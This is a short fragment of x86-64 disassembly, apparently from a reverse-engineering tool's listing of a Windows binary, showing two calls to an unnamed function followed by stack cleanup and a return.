mov dword [rsp + 0x20], 1
lea rcx, [rsp + 0x30]
call fcn.140006530
nop
lea rcx, [rsp + 0x50]
call fcn.140006530
mov rax, rbx
add rsp, 0x70
pop rbx
ret